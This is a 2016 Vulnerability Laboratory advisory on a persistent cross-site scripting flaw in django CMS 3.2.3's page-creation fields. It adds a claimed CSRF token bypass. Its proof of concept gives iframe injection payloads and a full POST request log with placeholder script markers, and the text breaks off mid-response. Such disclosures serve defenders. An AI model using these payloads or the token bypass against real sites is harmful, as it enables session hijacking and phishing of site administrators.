Document Title: =============== Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability References (Source): ==================== Release Date: ============= 2016-04-19 Vulnerability Laboratory ID (VL-ID): ==================================== 1820 Common Vulnerability Scoring System: ==================================== 3.6 Product & Service Introduction: =============================== django CMS is a modern web publishing platform built with Django, the web application framework for perfectionists with deadlines. django CMS offers out-of-the-box support for the common features you’d expect from a CMS, but can also be easily customised and extended by developers to create a site that is tailored to their precise needs. (Copy of the Homepage: ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered an application-side vulnerability in the Django v3.2.3 Content Management System. Vulnerability Disclosure Timeline: ================================== 2016-04-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Divio AG Product: Django Framework - Content Management System 3.2.3 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official Django v3.2.3 Content Management System. The security vulnerability allows remote attackers or privileged user accounts to inject own malicious script codes to the application-side of the vulnerable modules web context. The vulnerability is located in the `title`, `slug`, `menu_title`, `page_title` and `meta_description` values of the `./cms/page/add/` module POST method request. Attackers are able to perform a malicious POST method request to trigger a cross site scripting attack in the django admin interface index. The injection point would be the add page or subpage module with the vulnerable input fields and the exection point occurs in the django admin interface menu were the cms-messages or cms-messages-inner output values are located. After the add of a page or a subpage the following url will represent the item (/en/iframe-srca20iframe222-iframe-srca20iframe223/). The cms-toolbar-trigger cms-toolbar- trigger-expanded displays the message after the add procedure is successful done by interaction via POST method request. The attack vector of the vulnerability is persistent and the request method to inject is POST. The application has a csrf token that is implemented to the request, by changing the token in the live request to .%0/ the payload executes without session protection mechanism. The token implementation requires a reconfguration as well to prevent csrf bypass attacks. The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the vulnerability requires a low privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] ./cms/page/add/ Vulnerable Parameter(s): [+] title [+] slug [+] menu_title [+] page_title [+] meta_description Affected Module(s): [+] cms-toolbar-trigger cms-toolbar-trigger-expanded (cms-messages or cms-messages-inner) Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers and privileged user accounts with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payload(s) )')(iframe src=a)%20(iframe) )')(iframe src=a)%20(iframe) >"> --- PoC Session Logs [POST] --- Status: 302[FOUND] POST http://django-cms.localhost:8080/en/admin/cms/page/add/?language=en&target=24&position=last-child Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[django-cms.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://django-cms.localhost:8080/en/admin/cms/page/add/?edit=1&position=last-child&target=24&language=en] Cookie[csrftoken=SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD; sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; django_language=en] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------23211247826994 Content-Disposition: form-data; name="csrfmiddlewaretoken" SrT9nvZ9TPGlOLinyohv7o4c0y0PGfYD -----------------------------23211247826994 Content-Disposition: form-data; name="language" en -----------------------------23211247826994 Content-Disposition: form-data; name="parent" 24 -----------------------------23211247826994 Content-Disposition: form-data; name="site" 1 -----------------------------23211247826994 Content-Disposition: form-data; name="template" INHERIT -----------------------------23211247826994 Content-Disposition: form-data; name="language" en -----------------------------23211247826994 Content-Disposition: form-data; name="page_type" -----------------------------23211247826994 Content-Disposition: form-data; name="title" >"><[PERSISTENT SCRIPT CODE INJECTION!]< -----------------------------23211247826994 Content-Disposition: form-data; name="slug" >"><[PERSISTENT SCRIPT CODE INJECTION!]< -----------------------------23211247826994 Content-Disposition: form-data; name="menu_title" >"><[PERSISTENT SCRIPT CODE INJECTION!]< -----------------------------23211247826994 Content-Disposition: form-data; name="page_title" >"><[PERSISTENT SCRIPT CODE INJECTION!]< -----------------------------23211247826994 Content-Disposition: form-data; name="meta_description" >"><[PERSISTENT SCRIPT CODE INJECTION!]< -----------------------------23211247826994 Content-Disposition: form-data; name="_save" Save -----------------------------23211247826994--] Response Header: Transfer-Encoding[chunked] X-Proxy-Request-Received[5] Server[Aldryn-LoadBalancer/2.0] Date[Fri, 08 Apr 2016 20:00:50 GMT] X-Aldryn-App[django-cms-3-2-demo-gijotopo-stage] X-Proxy-Request-Routed[8] X-Proxy-Request-Forwarded[8] X-Proxy-Response-Received[271] Content-Language[en] Expires[Fri, 08 Apr 2016 20:00:51 GMT] Vary[Cookie] Last-Modified[Fri, 08 Apr 2016 20:00:51 GMT] Location[http://django-cms.localhost:8080/en/admin/cms/page/] Cache-Control[max-age=0] Content-Type[text/html; charset=utf-8] Set-Cookie[sessionid=cipz5svsvuk6m00mp180injpq2jy7d2u; expires=Fri, 22-Apr-2016 20:00:51 GMT; Max-Age=1209600; Path=/ messages="621bd4a42c0ddf1ae27531c3c963e864a125ef52$[ ["__json_message"540542554"The page ">">